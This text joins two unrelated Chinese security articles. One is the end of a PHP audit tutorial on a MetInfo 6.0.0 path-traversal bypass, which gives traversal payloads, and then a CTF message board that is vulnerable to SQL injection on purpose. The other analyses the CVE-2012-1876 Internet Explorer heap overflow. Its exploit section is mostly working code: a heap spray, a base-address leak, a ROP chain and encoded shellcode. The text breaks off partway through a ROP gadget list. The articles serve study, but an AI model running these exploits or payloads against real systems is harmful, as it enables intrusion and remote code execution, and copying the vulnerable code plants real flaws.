> **定义** ： `mixed str_replace ( mixed $search , mixed $replace , mixed
> $subject [, int &$count ] )`
>
> 该函数返回一个字符串或者数组。如下：
>
> str_replace(字符串1，字符串2，字符串3)：将字符串3中出现的所有字符串1换成字符串2。
>
> str_replace(数组1，字符串1，字符串2)：将字符串2中出现的所有数组1中的值，换成字符串1。
>
> str_replace(数组1，数组2，字符串1)：将字符串1中出现的所有数组1一一对应，替换成数组2的值，多余的替换成空字符串。
## 实例分析
本次实例分析，我们选取的是 **Metinfo 6.0.0** 版本。漏洞文件在
**app/system/include/module/old_thumb.class.php** 中，我们发现程序将变量 **$dir** 中出现的
**../** 和 **./** 字符替换成空字符串（下图第6行处），猜想开发者应该是有考虑到路径穿越问题，所以做了此限制。具体代码如下：
接着在第8行处，用 **strstr** 函数判断 **$dir** 变量中是否含有 **http** 字符串，如果有，则读取加载 **$dir**
变量，并以图片方式显示出来。这里猜测开发者的意图是，加载远程图片。关于 **strstr** 函数，定义如下：
> [ strstr ](http://php.net/manual/zh/function.strstr.php)：(PHP 4, PHP 5, PHP
> 7)
>
> **功能** ：查找字符串的首次出现
>
> **定义** ： `string strstr ( string $haystack , mixed $needle [, bool
> $before_needle = FALSE ] )`
>
> 返回 `haystack` 字符串从 `needle` 第一次出现的位置开始到 `haystack` 结尾的字符串。
>
>
> domain = strstr('[email protected]', '@');
> // 上面输出：@gmail.com
> user = strstr('[email protected], '@', true); // 从 PHP 5.3.0 起
> // 上面输出：hongrisec
>
然而这段代码是可以绕过的，例如我们使用
**payload：.....///http/.....///.....///.....///.....///etc/passwd** ，过滤后实际就变成：
**../http/../../../../etc/passwd** ，效果如下：
接下来，我们要做的就是搜索程序在哪里调用了这个文件。用 **phpstorm** 加载整个项目文件，按住 `Ctrl+Shift+F` 键，搜索关键词
**old_thumb** ，发现在 **include/thumb.php** 文件中调用 **old_thumb** 类，搜索结果如下图：
我们在 **include/thumb.php** 文件中，可以看到 **M_CLASS** 定义为 **old_thumb** ，而
**M_ACTION** 定义为 **doshow** 。我们接着跟进到 **app/system/entrance.php**
文件中，在该文件的末尾可以看包含了 **app/system/include/class/load.class.php** 文件，引入了 **load**
类，然后调用了 **load** 类的 **module** 方法。
// app/system/include/class/load.class.php
require_once PATH_SYS_CLASS.'load.class.php';
load::module();
我们跟进 **module** 方法，并查看各个变量的赋值情况( **app/system/include/class/load.class.php**
文件)：
上图程序最后调用了 **load** 类的 **_load_class** 方法，我们跟进该方法，详细代码如下：
可以看到上图代码第16行处实例化了一个 **old_thumb** 类对象，然后在第25行处调用了 **old_thumb** 类的 **doshow**
方法， **doshow** 方法中的 **$dir** 变量就是用户可以控制的。以上便是完整的攻击过程分析，下面我们看看具体如何进行攻击。
## 漏洞利用
实际上攻击的话就很简单了，因为 **$dir** 变量是直接通过 **GET请求** 获取的，然后用 **str_replace** 方法处理，而
**str_replace** 方法处理又有问题，所以我们构造 **payload** 如下：
http://localhost/metInfo/include/thumb.php?dir=.....///http/.....///最终用户授权许可协议.txt
成功读取 **最终用户授权许可协议.txt** 文件。
## 修复建议
关于修复建议，这里先抛出个问题给大家，针对这个案例，下面的修复代码是否可行？
$dir = str_replace(array('..','//'), '', $_GET['dir']);
咋一看，这个代码好像完美地修复了路径穿越问题，但是，我们在修复代码的时候一定要结合实际情况。比如在metinfo中，程序这里原来的功能是加载远程图片，使用上面的修复代码，会导致正常的图片链接无法加载，这种修复肯定是无效的。这里给出我的修复代码，如下图：
## 结语
看完了上述分析，不知道大家是否对 **str_replace()** 函数过滤路径符号有了更加深入的理解，文中用到的CMS可以从
[这里](https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip)
下载，当然文中若有不当之处，还望各位斧正。如果你对我们的项目感兴趣，欢迎发送邮件到 **[email protected]** 联系我们。
**Day9** 的分析文章就到这里，我们最后留了一道CTF题目给大家练手，题目如下：
// index.php
<?php
include 'config.php';
include 'function.php';
$conn = new mysqli($servername,$username,$password,$dbname);
if($conn->connect_error){
die('连接数据库失败');
}
$sql = "SELECT COUNT(*) FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$id = $row['COUNT(*)'] + 1;
}
else die($conn->error);
if(isset($_POST['msg']) && $_POST['msg'] !==''){
$msg = addslashes($_POST['msg']);
$msg = replace_bad_word(convert($msg));
$sql = "INSERT INTO users VALUES($id,'".$msg."')";
$result = $conn->query($sql);
if($conn->error) die($conn->error);
}
echo "<center><h1>Welcome come to HRSEC message board</center></h1>";
echo <<<EOF
<center>
<form action="index.php" method="post">
<p>Leave a message: <input type="text" name="msg" /><input type="submit" value="Submit" /></p>
</form>
</center>
EOF;
$sql = "SELECT * FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
echo "<center><table border='1'><tr><th>id</th><th>message</th><tr></center>";
while($row = $result->fetch_row()){
echo "<tr><th>$row[0]</th><th>$row[1]</th><tr>";
}
echo "</table></center>";
}
$conn->close();
?>
// function.php
<?php
function replace_bad_word($str){
global $limit_words;
foreach ($limit_words as $old => $new) {
strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
}
return $str;
}
function convert($str){
return htmlentities($str);
}
$limit_words = array('造反' => '造**', '法轮功' => '法**');
foreach (array('_GET','_POST') as $method) {
foreach ($$method as $key => $value) {
$$key = $value;
}
}
?>
// config.php
<?php
$servername = "localhost";
$username = "hongrisec";
$password = "hongrisec";
$dbname = "day9";
?>
# 搭建CTF环境使用的sql语句
create database day9;
use day9;
create table users(
id integer auto_increment not null primary key,
message varchar(50)
);
create table flag( flag varchar(40));
insert into flag values('HRCTF{StR_R3p1ac3_anD_sQ1_inJ3ctIon_zZz}');
题解我们会阶段性放出，如果大家有什么好的解法，可以在文章底下留言，祝大家玩的愉快！
## 相关文章
[Metinfo 6.0.0
任意文件读取漏洞](http://badcode.cc/2018/05/26/Metinfo-6-0-0-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/)
[MetInfo 任意文件读取漏洞的修复与绕过](https://paper.seebug.org/676/) | 社区文章 |
## 0x01 漏洞信息
### 0x01.1 漏洞简述
* 编号：CVE-2012-1876
* 类型：堆溢出(Heap Overflow)
* 漏洞影响：远程代码执行(RCE)
* CVSS 2.0：9.3
mshtml.dll中`CTableLayout::CalculateMinMax`函数在循环向缓冲区(堆分配内存)写入数据时，未校验控制循环次数的`<col>`标签`span`属性值，故可通过精心构造`span`属性值造成堆溢出，进而实现RCE。
### 0x01.2 漏洞影响
Microsoft Internet Explorer 6—9，10 Consumer Preview
### 0x01.3 修复方案
[MS12-037](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2012/ms12-037)
## 0x02 漏洞分析
### 0x02.1 分析环境
* OS版本：Windows XP Service Pack 3
* Internet Explorer版本：8.0.6001.18702
* mshtml.dll版本：8.0.6001.18702
### 0x02.2 详细分析
使用`gflags.exe`为`iexplore.exe`开启页堆：
WinDbg打开`iexplore.exe`后，通过`.childdbg 1`命令启用子进程调试。运行并打开`poc.html`：
<html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="1" >  </col>
<!-- The <col> tag specifies column properties for each column within a <colgroup> element-->
<!-- width:Specifies the width of a <col> element -->
<!-- span:Specifies the number of columns a <col> element should span -->
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}
setTimeout("over_trigger();",1); //The setTimeout() method calls a function or evaluates an expression after a specified number of milliseconds
</script>
</body>
</html>
允许活动内容运行：
崩溃点如下：
WinDbg重新打开`iexplore.exe`，运行。当子进程创建完成时，`sxe ld mshtml.dll`设置`mshtml.dll`模块加载异常：
模块已加载，可拍摄快照，方便后续分析：
IDA定位到函数`CTableColCalc::AdjustForCol`引发crash处：
向上回溯查看`esi`于何处赋值(调用该函数仅`CTableLayout::CalculateMinMax+F55F`一处，故可直接在IDA中定位)：
由上图可以看出其值为`[ebx+9Ch]`，该地址处值由何而来需结合WinDbg动态调试以确定。恢复快照至已加载mshtml.dll，`bp
6368CD39`设断于`call CTableColCalc::AdjustForCol`处，成功断下后，查看堆块信息：
再次恢复快照，`bp 6367d7da`于`CTableLayout::CalculateMinMax`起始位置设断，断下后`bp
635D28F6`于`call CImplAry::EnsureSizeWorker`处设断，跟进分析：
可以看出其分配大小确为0x70，之后跟进`mshtml!_HeapRealloc`查看其分配地址：
向上回溯，`edi`指向`ebx+90h`：
如此一来，`HeapAlloc`函数返回值——即分配堆块地址写入`[ebx+9Ch]`。至此，crash处`edi`由何而来已分析完成。而写入数据为`width*100`(具体计算过程见`CWidthUnitValue::GetPixelWidth`函数)：
crash处`ecx`值为`(width*100)<<4+9`，最终内容要减1：
* * *
上述内容仅是追溯写入位置与写入值如何计算及传递，下面将分析其执行流。
`CTableLayout::CalculateMinMax`第一个参数是用于存储`<table>`标签的`CTableLayout`对象：
而`[ebx+54h]`存储所有`<col>`标签的`<span>`属性值之和(可记为`span_sum`)：
执行到`0x6367D8EF`处，从`ebx+94h`位置取出值，右移2位，与`span_sum`进行比较：
如上图所示，再经过两次比较，都满足条件才会`call
CImplAry::EnsureSizeWorker`。若`span_sum`小于4，则直接分配`0x70`大小堆块；不小于4，则分配`0x1C*span_sum`大小堆块：
分配结束后，会向`ebx+98h`位置写入`span_sum`：
向`ebx+94h`位置写入`span_sum<<2`：
如此一来，第二次执行`CTableLayout::CalculateMinMax`便不会调用`CImplAry::EnsureSizeWorker`重新分配内存，而是直接使用上次分配堆块进行写入——修改后的`span`属性值大于修改前`span`属性值，以此`span`值作为循环计数，之前分配堆块大小明显无法容纳，此时便会造成堆溢出。
下面是打开POC并允许活动内容运行后由`0x6367D7DA`至`0x6368CD39`两次执行流(可使用`wt -l 1 -ns -oR -m
mshtml =6367d7da 6368CD39`命令)对比：
第二次执行不会调用`CImplAry::EnsureSizeWorker`：
`span`属性值最大为0x3E8(即1000)：
### 0x02.3 漏洞利用
分析所用exp如下：
<html>
<body>
<div id="test"></div>
<script language='javascript'>
var leak_index = -1;
var dap = "EEEE";
while ( dap.length < 480 ) dap += dap;
var padding = "AAAA";
while ( padding.length < 480 ) padding += padding;
var filler = "BBBB";
while ( filler.length < 480 ) filler += filler;
//spray
var arr = new Array();
var rra = new Array();
var div_container = document.getElementById("test");
div_container.style.cssText = "display:none";
for (var i=0; i < 500; i+=2) {
// E
rra[i] = dap.substring(0, (0x100-6)/2);
// S, bstr = A
arr[i] = padding.substring(0, (0x100-6)/2);
// A, bstr = B
arr[i+1] = filler.substring(0, (0x100-6)/2);
// B
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i=200; i<500; i+=2 ) {
rra[i] = null;
CollectGarbage();
}
</script>
<table style="table-layout:fixed" ><col id="0" width="41" span="9" >  </col></table>
<table style="table-layout:fixed" ><col id="1" width="41" span="9" >  </col></table>
...
<table style="table-layout:fixed" ><col id="132" width="41" span="9" >  </col></table>
<script language='javascript'>
var obj_col = document.getElementById("132");
obj_col.span = 19;
function over_trigger()
{
var leak_addr = -1;
for ( var i = 0; i < 500; i++ )
{
if ( arr[i].length > (0x100-6)/2 )
{ // overflowed
leak_index = i;
var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);
leak_addr = parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 );
mshtmlbase = leak_addr - Number(0x001582b8);
alert(mshtmlbase);
break;
}
}
if ( leak_addr == -1 || leak_index == -1 )
{
alert("memory leak failed....");
}
//return mshtmlbase;
}
// A very special heap spray
function heap_spray()
{
CollectGarbage();
var heapobj = new Object();
// generated with mona.py (mshtml.dll v)
function rop_chain(mshtmlbase)
{
var arr = [
mshtmlbase + Number(0x00001031),
mshtmlbase + Number(0x00002c78), // pop ebp; retn
mshtmlbase + Number(0x0001b4e3), // xchg eax,esp; retn (pivot)
mshtmlbase + Number(0x00352c8b), // pop eax; retn
mshtmlbase + Number(0x00001340), // ptr to &VirtualAlloc() [IAT]
mshtmlbase + Number(0x00124ade), // mov eax,[eax]; retn
mshtmlbase + Number(0x000af93e), // xchg eax,esi; and al,0; xor eax,eax; retn
mshtmlbase + Number(0x00455a9c), // pop ebp; retn
mshtmlbase + Number(0x00128b8d), // & jmp esp
mshtmlbase + Number(0x00061436), // pop ebx; retn
0x00000001, // 0x00000001-> ebx
mshtmlbase + Number(0x0052d8a3), // pop edx; retn
0x00001000, // 0x00001000-> edx
mshtmlbase + Number(0x00003670), // pop ecx; retn
0x00000040, // 0x00000040-> ecx
mshtmlbase + Number(0x001d263d), // pop edi; retn
mshtmlbase + Number(0x000032ac), // retn
mshtmlbase + Number(0x00352c9f), // pop eax; retn
0x90909090, // nop
mshtmlbase + Number(0x0052e805), // pushad; retn
0x90909090,
0x90909090,
0x90909090,
0x90909090,
0x90909090,
];
return arr;
}
function d2u(dword)
{
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}
function tab2uni(heapobj, tab)
{
var uni = ""
for(var i=0;i<tab.length;i++){
uni += heapobj.d2u(tab[i]);
}
return uni;
}
heapobj.tab2uni = tab2uni;
heapobj.d2u = d2u;
heapobj.rop_chain = rop_chain;
var code = unescape("%u40b0%u414b%u1d24%ub4a8%u7799%ube37%ua947%ud41a%u353f%ueb30%ud133%u2ae1%u31e0%ue2d3%u1514%ufd13%u3497%u7a7b%ufc39%u92ba%u9390%u0a4e%ubbf5%u8db2%ue385%uf823%ud53a%u0448%u750d%ud632%u707c%u4642%u7e78%ub12c%u2f98%u1c3c%u727e%u3b7b%u4fe0%ue38c%u4f76%u81b0%u2de2%u35ba%u86bb%u67f8%u8d0c%u9190%u7574%u7f71%u7d3c%u9f15%ub347%ud50b%u784e%u4970%u1b37%uc1ff%uc6fe%uc0c7%ub6d4%u9246%ub4b1%uf588%ua91d%u7c4b%u2548%u7a99%u9b3d%u01b7%u34eb%u1cb5%u38a8%ub8fc%ud609%ube4a%u9714%ue121%ub904%u42b2%u7796%u6924%u80f9%u0dfd%u412c%u2f05%u273f%ubf40%u9893%u7343%u6679%u77a8%ub63f%u7472%u707b%u843d%uebd2%uf630%ubfd5%u71b2%u757a%u1848%u0cf5%u96b7%uf889%u764a%u9b2d%u92b0%u66be%u7d97%ub425%u9114%u4904%uba34%u421c%ue308%uf902%u4140%u4773%u0d27%u93b5%u2299%u1dd4%u7c4f%u2867%u98fc%u2c24%ue212%ufd03%u78a9%u3505%u8390%u2fe0%u4337%u154b%u468d%u79b9%u297f%ubbd6%u197e%u4ee1%u9fb8%ub1b3%u4a3c%u7a7d%u7679%u4670%u2091%u74e1%ub043%u4e71%ub590%u75b7%u983c%u4bb3%ud687%uf86b%u9b40%u117f%ud1f7%u7bf9%u152f%u3427%u1d92%u3d97%u2d49%u720d%u014f%u7ce0%u3105%u10eb%u35f5%ub4b6%u1c2c%u93b2%u4704%ud52b%ubbb1%ue389%u4137%u7e78%u733f%u7742%u2925%ufcd0%u6624%u8dba%u67b9%u1a96%ua8fd%ua9be%ud40b%u4899%u9f14%u87bf%ue2f7%ub80c%u903d%u14b0%u25bb%u7d96%u1a7f%u79f5%uf809%u347c%u7b91%u4e47%ueb81%ue122%ud41b%u7074%ub21d%u2d72%u928d%ub3b1%ua905%u71b4%u4b0c%u9343%u0d76%u989f%u84b5%ub7d5%u4666%ube40%ub8bf%u201c%u48e2%u4a73%u6b2c%u2afc%u04e0%u4941%u3777%u10ba%u7ed6%u332f%ub9fd%u7a9b%u7875%u2415%u1299%uf9d2%u3f97%ub63c%u3567%u27a8%ue386%u7742%u4f73%ue380%ua93c%u757c%uf62b%ud0c0%u27e0%u214b%ue1d3%ub93f%u157d%u8c14%ue2c1%u9904%u7498%u7071%u6637%ueb28%u4e1c%u7fb6%u357b%u3297%u25d4%uf569%u9105%u4047%u0224%u78d6%u7941%uba3d%u49b1%u7276%u1d2f%u85bf%u67fc%u7e92%u4a2c%u7ab4%u1348%u93d5%u8d9b%u03bb%u74fd%u0879%u43e1%ue083%u1873%u46e3%u2372%ub2f8%u88b0%ub8f9%u969f%u75b5%u770c%u7b42%ub72d%u7aa8%ue219%ueb38%ub334%u90be%u4f7e%u0d7f%ub3b6%u3076%ubff5%u479f%u7167%ud40a%u3b7c%u66fc%u41b7%u9615%u3dfd%u3505%ub825%u1c7d%ub54a%u3940%u37d6%u3f92%u971d%u1478%u8d49%ua8b2%u3493%u2c3c%u902f%ud54f%u04a9%u1198%u91f8%ub99b%u9943%ubbb1%u0d70%u4824%u4b0c%ube4e%ub02d%uf93a%u27ba%ub446%udb42%ud9d1%u2474%u5af4%uc929%u49b1%u8cbe%uc04a%u31a0%u1972%uc283%u0304%u1572%ubf6e%u483c%u40e7%u89bd%uc997%ub858%uae85%ue929%ua419%u027c%ue8d2%u9194%u2496%u129a%u131c%ua395%u9b91%u6779%u67b0%ub480%u5912%uc94b%u9e53%u22b6%u7701%u91bc%ufcb5%u2980%ud2b4%u128e%u57ce%ue650%u5964%u5781%u11f3%ud339%u825b%u3038%ufeb8%u3d73%u740a%u9782%u7543%ud7b4%u480f%uda78%u8c4e%u05bf%ue625%ub8c3%u3d3d%u66b9%ua0c8%uec19%u016a%u219b%uc2ec%u8e97%u8c7b%u11bb%ua6a8%u9ac0%u694f%ud841%uad6b%uba09%uf412%u6df7%ue62b%ud150%u6c89%u0672%u2eab%ueb1b%ud081%u63db%ua392%u2ce9%u2c08%ua442%uab96%u9fa5%u236e%u2058%u6d8e%u749f%u05de%uf536%ud5b5%u20b7%u8619%u9b17%u76d9%u4bd8%u9cb1%ub4d7%u9ea1%udd3d%u644b%u22d6%u6723%ucb43%u6831%u579a%u8ebc%u77f6%u19e8%ue16f%ud2b1%uee0e%u9f6c%u6411%u5f82%u8ddf%u73ef%u7d88%u2eba%u811f%u4411%u17a0%ucf9d%u8ff7%u369f%u103f%u1d60%u994b%udef4%ue624%udf18%ub0b4%udf72%u64dc%u8c26%u6af9%ua0f3%uff51%u90fb%ua806%u1e93%u9e70%ue03c%u1e57%u3701%ua49e%u3d73%u64f2");
var rop_chain = heapobj.tab2uni(heapobj, heapobj.rop_chain(mshtmlbase)) ;
var shellcode = rop_chain + code
while (shellcode.length < 100000)
shellcode = shellcode + shellcode;
var onemeg = shellcode.substr(0, 64*1024/2);
for (i=0; i<14; i++)
{
onemeg += shellcode.substr(0, 64*1024/2);
}
onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
var spray = new Array();
for (i=0; i<400; i++)
{
spray[i] = onemeg.substr(0, onemeg.length);
}
}
function smash_vtable()
{
var obj_col_0 = document.getElementById("132");
obj_col_0.width = "1178993"; // smash the vftable 0x07070024
obj_col_0.span = "44"; // the amount to overwrite
}
var mshtmlbase = "";
setTimeout("over_trigger();",1);
setTimeout("heap_spray();",400);
setTimeout("smash_vtable();",700);
</script>
</body>
</html>
第一部分用以申请大量内存并填充字符内容进行堆布局：
<script language='javascript'>
var leak_index = -1;
var dap = "EEEE";
while ( dap.length < 480 ) dap += dap;
var padding = "AAAA";
while ( padding.length < 480 ) padding += padding;
var filler = "BBBB";
while ( filler.length < 480 ) filler += filler;
//spray
var arr = new Array();
var rra = new Array();
var div_container = document.getElementById("test");
div_container.style.cssText = "display:none";
for (var i=0; i < 500; i+=2) {
// E
rra[i] = dap.substring(0, (0x100-6)/2);
// S, bstr = A
arr[i] = padding.substring(0, (0x100-6)/2);
// A, bstr = B
arr[i+1] = filler.substring(0, (0x100-6)/2);
// B
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i=200; i<500; i+=2 ) {
rra[i] = null;
CollectGarbage();
}
</script>
其于内存中分布情况(`BSTR 'E'` & `BSTR 'A'` & `BSTR 'B'` & `CButtonLayout`)：
调用`CollectGarbage()`回收完成后，其`Len`部分变为`0x0000ffff`：
第二部分创建大量`col`标签，以占位之前释放堆块：
<table style="table-layout:fixed" ><col id="0" width="41" span="9" >  </col></table>
<table style="table-layout:fixed" ><col id="1" width="41" span="9" >  </col></table>
...
<table style="table-layout:fixed" ><col id="132" width="41" span="9" >  </col></table>
之后通过
var obj_col = document.getElementById("132");
obj_col.span = 19;
完成第一次溢出(可通过条件断点`bp 638209A2 ".if(eax==0x13){};.else{gc;}"`断下后再进一步分析)：
而写入位置在每次写入过后会加`0x1C`：
`0x1C`*`0x12`=`0x1F8`(`0x6368CD4B`处是`jl`命令)，`[EBX+9Ch]+0x1F8+0x18`位置恰为`BSTR
'B'`长度：
之后遍历`arr`数组，长度大于`(0x100-6)/2`元素即为发生溢出位置：
for ( var i = 0; i < 500; i++ )
{
if ( arr[i].length > (0x100-6)/2 )
{ // overflowed
leak_index = i;
由于该元素长度已被更改为`0x10048`，那么可以越界读取其后`CButtonLayout`中内容：
var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2); //0xAE086377——금捷(Unicode)
转换成十六进制数，减去`CButtonLayout::vftable`相较于基址偏移便得到基址：
leak_addr = parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 );
mshtmlbase = leak_addr - Number(0x001582b8);
Exp中偏移与笔者环境中所计算偏移不符：
构造ROP+Shellcode及进行Heap Spray：
function heap_spray()
{
CollectGarbage();
var heapobj = new Object();
// generated with mona.py (mshtml.dll v)
function rop_chain(mshtmlbase)
{
var arr = [
mshtmlbase + Number(0x00001031),
mshtmlbase + Number(0x00002c78), // pop ebp; retn
mshtmlbase + Number(0x0001b4e3), // xchg eax,esp; retn (pivot)
mshtmlbase + Number(0x00352c8b), // pop eax; retn
mshtmlbase + Number(0x00001340), // ptr to &VirtualAlloc() [IAT]
mshtmlbase + Number(0x00124ade), // mov eax,[eax]; retn
mshtmlbase + Number(0x000af93e), // xchg eax,esi; and al,0; xor eax,eax; retn
mshtmlbase + Number(0x00455a9c), // pop ebp; retn
mshtmlbase + Number(0x00128b8d), // & jmp esp
mshtmlbase + Number(0x00061436), // pop ebx; retn
0x00000001, // 0x00000001-> ebx
mshtmlbase + Number(0x0052d8a3), // pop edx; retn
0x00001000, // 0x00001000-> edx
mshtmlbase + Number(0x00003670), // pop ecx; retn
0x00000040, // 0x00000040-> ecx
mshtmlbase + Number(0x001d263d), // pop edi; retn
mshtmlbase + Number(0x000032ac), // retn
mshtmlbase + Number(0x00352c9f), // pop eax; retn
0x90909090, // nop
mshtmlbase + Number(0x0052e805), // pushad; retn
0x90909090,
0x90909090,
0x90909090,
0x90909090,
0x90909090,
];
return arr;
}
function d2u(dword)
{
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}
function tab2uni(heapobj, tab)
{
var uni = ""
for(var i=0;i<tab.length;i++){
uni += heapobj.d2u(tab[i]);
}
return uni;
}
heapobj.tab2uni = tab2uni;
heapobj.d2u = d2u;
heapobj.rop_chain = rop_chain;
var code = unescape("%u40b0%u414b%u1d24%ub4a8%u7799%ube37%ua947%ud41a%u353f%ueb30%ud133%u2ae1%u31e0%ue2d3%u1514%ufd13%u3497%u7a7b%ufc39%u92ba%u9390%u0a4e%ubbf5%u8db2%ue385%uf823%ud53a%u0448%u750d%ud632%u707c%u4642%u7e78%ub12c%u2f98%u1c3c%u727e%u3b7b%u4fe0%ue38c%u4f76%u81b0%u2de2%u35ba%u86bb%u67f8%u8d0c%u9190%u7574%u7f71%u7d3c%u9f15%ub347%ud50b%u784e%u4970%u1b37%uc1ff%uc6fe%uc0c7%ub6d4%u9246%ub4b1%uf588%ua91d%u7c4b%u2548%u7a99%u9b3d%u01b7%u34eb%u1cb5%u38a8%ub8fc%ud609%ube4a%u9714%ue121%ub904%u42b2%u7796%u6924%u80f9%u0dfd%u412c%u2f05%u273f%ubf40%u9893%u7343%u6679%u77a8%ub63f%u7472%u707b%u843d%uebd2%uf630%ubfd5%u71b2%u757a%u1848%u0cf5%u96b7%uf889%u764a%u9b2d%u92b0%u66be%u7d97%ub425%u9114%u4904%uba34%u421c%ue308%uf902%u4140%u4773%u0d27%u93b5%u2299%u1dd4%u7c4f%u2867%u98fc%u2c24%ue212%ufd03%u78a9%u3505%u8390%u2fe0%u4337%u154b%u468d%u79b9%u297f%ubbd6%u197e%u4ee1%u9fb8%ub1b3%u4a3c%u7a7d%u7679%u4670%u2091%u74e1%ub043%u4e71%ub590%u75b7%u983c%u4bb3%ud687%uf86b%u9b40%u117f%ud1f7%u7bf9%u152f%u3427%u1d92%u3d97%u2d49%u720d%u014f%u7ce0%u3105%u10eb%u35f5%ub4b6%u1c2c%u93b2%u4704%ud52b%ubbb1%ue389%u4137%u7e78%u733f%u7742%u2925%ufcd0%u6624%u8dba%u67b9%u1a96%ua8fd%ua9be%ud40b%u4899%u9f14%u87bf%ue2f7%ub80c%u903d%u14b0%u25bb%u7d96%u1a7f%u79f5%uf809%u347c%u7b91%u4e47%ueb81%ue122%ud41b%u7074%ub21d%u2d72%u928d%ub3b1%ua905%u71b4%u4b0c%u9343%u0d76%u989f%u84b5%ub7d5%u4666%ube40%ub8bf%u201c%u48e2%u4a73%u6b2c%u2afc%u04e0%u4941%u3777%u10ba%u7ed6%u332f%ub9fd%u7a9b%u7875%u2415%u1299%uf9d2%u3f97%ub63c%u3567%u27a8%ue386%u7742%u4f73%ue380%ua93c%u757c%uf62b%ud0c0%u27e0%u214b%ue1d3%ub93f%u157d%u8c14%ue2c1%u9904%u7498%u7071%u6637%ueb28%u4e1c%u7fb6%u357b%u3297%u25d4%uf569%u9105%u4047%u0224%u78d6%u7941%uba3d%u49b1%u7276%u1d2f%u85bf%u67fc%u7e92%u4a2c%u7ab4%u1348%u93d5%u8d9b%u03bb%u74fd%u0879%u43e1%ue083%u1873%u46e3%u2372%ub2f8%u88b0%ub8f9%u969f%u75b5%u770c%u7b42%ub72d%u7aa8%ue219%ueb38%ub334%u90be%u4f7e%u0d7f%ub3b6%u3076%ubff5%u479f%u7167%ud40a%u3b7c%u66fc%u41b7%u9615%u3dfd%u3505%ub825%u1c7d%ub54a%u3940%u37d6%u3f92%u971d%u1478%u8d49%ua8b2%u3493%u2c3c%u902f%ud54f%u04a9%u1198%u91f8%ub99b%u9943%ubbb1%u0d70%u4824%u4b0c%ube4e%ub02d%uf93a%u27ba%ub446%udb42%ud9d1%u2474%u5af4%uc929%u49b1%u8cbe%uc04a%u31a0%u1972%uc283%u0304%u1572%ubf6e%u483c%u40e7%u89bd%uc997%ub858%uae85%ue929%ua419%u027c%ue8d2%u9194%u2496%u129a%u131c%ua395%u9b91%u6779%u67b0%ub480%u5912%uc94b%u9e53%u22b6%u7701%u91bc%ufcb5%u2980%ud2b4%u128e%u57ce%ue650%u5964%u5781%u11f3%ud339%u825b%u3038%ufeb8%u3d73%u740a%u9782%u7543%ud7b4%u480f%uda78%u8c4e%u05bf%ue625%ub8c3%u3d3d%u66b9%ua0c8%uec19%u016a%u219b%uc2ec%u8e97%u8c7b%u11bb%ua6a8%u9ac0%u694f%ud841%uad6b%uba09%uf412%u6df7%ue62b%ud150%u6c89%u0672%u2eab%ueb1b%ud081%u63db%ua392%u2ce9%u2c08%ua442%uab96%u9fa5%u236e%u2058%u6d8e%u749f%u05de%uf536%ud5b5%u20b7%u8619%u9b17%u76d9%u4bd8%u9cb1%ub4d7%u9ea1%udd3d%u644b%u22d6%u6723%ucb43%u6831%u579a%u8ebc%u77f6%u19e8%ue16f%ud2b1%uee0e%u9f6c%u6411%u5f82%u8ddf%u73ef%u7d88%u2eba%u811f%u4411%u17a0%ucf9d%u8ff7%u369f%u103f%u1d60%u994b%udef4%ue624%udf18%ub0b4%udf72%u64dc%u8c26%u6af9%ua0f3%uff51%u90fb%ua806%u1e93%u9e70%ue03c%u1e57%u3701%ua49e%u3d73%u64f2");
var rop_chain = heapobj.tab2uni(heapobj, heapobj.rop_chain(mshtmlbase)) ;
var shellcode = rop_chain + code
while (shellcode.length < 100000) shellcode = shellcode + shellcode;
var onemeg = shellcode.substr(0, 64*1024/2);
for (i=0; i<14; i++)
{
onemeg += shellcode.substr(0, 64*1024/2);
}
onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
var spray = new Array();
for (i=0; i<400; i++)
{
spray[i] = onemeg.substr(0, onemeg.length);
}
}
其ROP链于笔者环境中并不适用，可用`mona.py`重新生成。转换为相对地址可使用如下脚本：
import argparse
def GenRelAddr(Src,Des,ModuleBaseAddr):
SrcFile=open(Src,"r")
DestFile=open(Des,"w")
DestFile.write("Relative Address:\n")
for i in SrcFile.readlines():
if i.strip().find("0x")==-1:
pass
else:
num_hex=int(i[i.find("0x"):i.find("0x")+10],16)
rva=num_hex-ModuleBaseAddr
if rva>0 and num_hex!=2425393296: #0x90909090
DestFile.write(' '+hex(rva)+'\n')
else:
DestFile.write(' '+hex(num_hex)+'\n')
SrcFile.close()
DestFile.close()
if __name__ == '__main__':
parser=argparse.ArgumentParser()
parser.add_argument('-s',help='SrcFile')
parser.add_argument('-d',help='DestFile')
parser.add_argument('-b',type=int,help='ModuleBaseAddr')
args=parser.parse_args()
if args.s and args.d and args.b:
GenRelAddr(args.s,args.d,args.b)
else:
print("Please enter the correct parameters.")
方法为`-s 1.txt -d 2.txt -b 1666711552`，其中`1.txt`内容如下：
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x6371b8f5, # POP ECX # RETN [mshtml.dll]
0x63581314, # ptr to &VirtualAlloc() [IAT mshtml.dll]
0x6392bf47, # MOV EAX,DWORD PTR DS:[ECX] # RETN [mshtml.dll]
0x63aa9a60, # XCHG EAX,ESI # RETN [mshtml.dll]
#[---INFO:gadgets_to_set_ebp:---]
0x635ac41c, # POP EBP # RETN [mshtml.dll]
0x635ead14, # & jmp esp [mshtml.dll]
